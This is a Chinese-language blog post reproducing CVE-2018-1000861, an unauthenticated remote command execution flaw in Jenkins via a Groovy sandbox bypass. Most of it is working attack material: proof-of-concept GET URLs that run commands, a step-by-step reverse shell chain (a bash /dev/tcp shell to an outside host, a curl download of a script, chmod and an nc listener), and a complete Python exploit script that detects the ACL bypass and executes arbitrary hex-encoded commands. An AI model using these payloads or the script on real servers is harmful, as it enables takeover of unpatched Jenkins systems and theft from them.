(CVE-2018-1000861)Jenkins_远程命令执行漏洞

# (CVE-2018-1000861)Jenkins 远程命令执行漏洞

====

一、漏洞简介
————

Jenkins使用Stapler框架开发,其允许用户通过URL
PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

二、漏洞影响
————

Jenkins Version \<= 2.56 Jenkins LTS Version \<= 2.46.1 三、复现过程 ------------ #### 漏洞复现: ##### 1.此漏洞是没有回显的,所以我们这里直接反弹shell: 此漏洞的POC(直接GET请求即可): GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}} ##### 2.我们这里采取下载文件的方法来反弹shell \(1\) 先在我们的服务器上防止一个文本,内容为: bash -i >& /dev/tcp/172.26.1.156/9999 0>&1

\(2\) 然后我们替换POC中执行命令的部分为下载文件的命令:

curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}}

\(3\) 给予下载的脚本执行权限:

chmod 777 /tmp/1.sh

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}

\(4\) 然后在我们接收shell的机器上监听之前写的端口:

nc -lvvp 9999

\(5\) 直接bash执行我们下载的脚本

bash /tmp/1.sh

替换后的POC:

http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}

\(6\) 回到我们监听端口的机器:

![U1fa800f6a04448f38d05166dcce9d04cJ.jpg](/static/qingy/(CVE-2018-1000861)Jenkins_远程命令执行漏洞/img/rId27.jpg)

可以看到已经成功获取到了shell!

### poc

**useage**

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ ‘curl orange.tw’
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

![Uadc7abd83e45466dbed2f51492676c13j.jpg](/static/qingy/(CVE-2018-1000861)Jenkins_远程命令执行漏洞/img/rId29.jpg)

#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
#

import sys
import requests
from enum import Enum

# remove bad SSL warnings
try:
requests.packages.urllib3.disable_warnings()
except:
pass

endpoint = ‘descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript’

class mode(Enum):
ACL_PATCHED = 0
NOT_JENKINS = 1
READ_ENABLE = 2
READ_BYPASS = 3
ENTRY_NOTFOUND = 999

def usage():
print ”’
Usage:
python exp.py
”’

def _log(msg, fail=False):
nb = ‘[*]’
if fail:
nb = ‘[-]’
print ‘%s %s’ % (nb, msg)

def _get(url, params=None):
r = requests.get(url, verify=False, params=params)
return r.status_code, r.content

def _add_bypass(url):
return url + ‘securityRealm/user/admin/’

def check(url):
flag, accessible = mode.ACL_PATCHED, False

# check ANONYMOUS_READ
status, content = _get(url)
if status == 200 and ‘adjuncts’ in content:
flag, accessible = mode.READ_ENABLE, True
_log(‘ANONYMOUS_READ enable!’)
elif status == 403:
_log(‘ANONYMOUS_READ disable!’)

# check ACL bypass, CVE-2018-1000861
status, content = _get(_add_bypass(url))
if status == 200 and ‘adjuncts’ in content:
flag, accessible = mode.READ_BYPASS, True
else:
flag = mode.NOT_JENKINS

# check entry point, CVE-2019-1003005
if accessible:
if flag is mode.READ_BYPASS:
url = _add_bypass(url)
status, content = _get(url + endpoint)

if status == 404:
flag = mode.ENTRY_NOTFOUND

return flag

def exploit(url, cmd):
payload = ‘public class x{public x(){new String(“%s”.decodeHex()).execute()}}’ % cmd.encode(‘hex’)
params = {
‘sandbox’: True,
‘value’: payload
}

status, content = _get(url + endpoint, params)
if status == 200:
_log(‘Exploit success!(it should be :P)’)
elif status == 405:
_log(‘It seems Jenkins has patched the RCE gadget :(‘)
else:
_log(‘Exploit fail with HTTP status [%d]’ % status, fail=True)
if ‘stack trace’ in content:
for _ in content.splitlines():
if _.startswith(‘Caused:’):
_log(_, fail=True)

if __name__ == ‘__main__’:
if len(sys.argv) != 3:
usage()
exit()

url = sys.argv[1].rstrip(‘/’) + ‘/’
cmd = sys.argv[2]

flag = check(url)
if flag is mode.ACL_PATCHED:
_log(‘It seems Jenkins is up-to-date(>2.137) :(‘, fail=True)
elif flag is mode.NOT_JENKINS:
_log(‘Is this Jenkins?’, fail=True)
elif flag is mode.READ_ENABLE:
exploit(url, cmd)
elif flag is mode.READ_BYPASS:
_log(‘Bypass with CVE-2018-1000861!’)
exploit(_add_bypass(url), cmd)
else:
_log(‘The `checkScript` is not found, please try other entries(see refs)’, fail=True)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容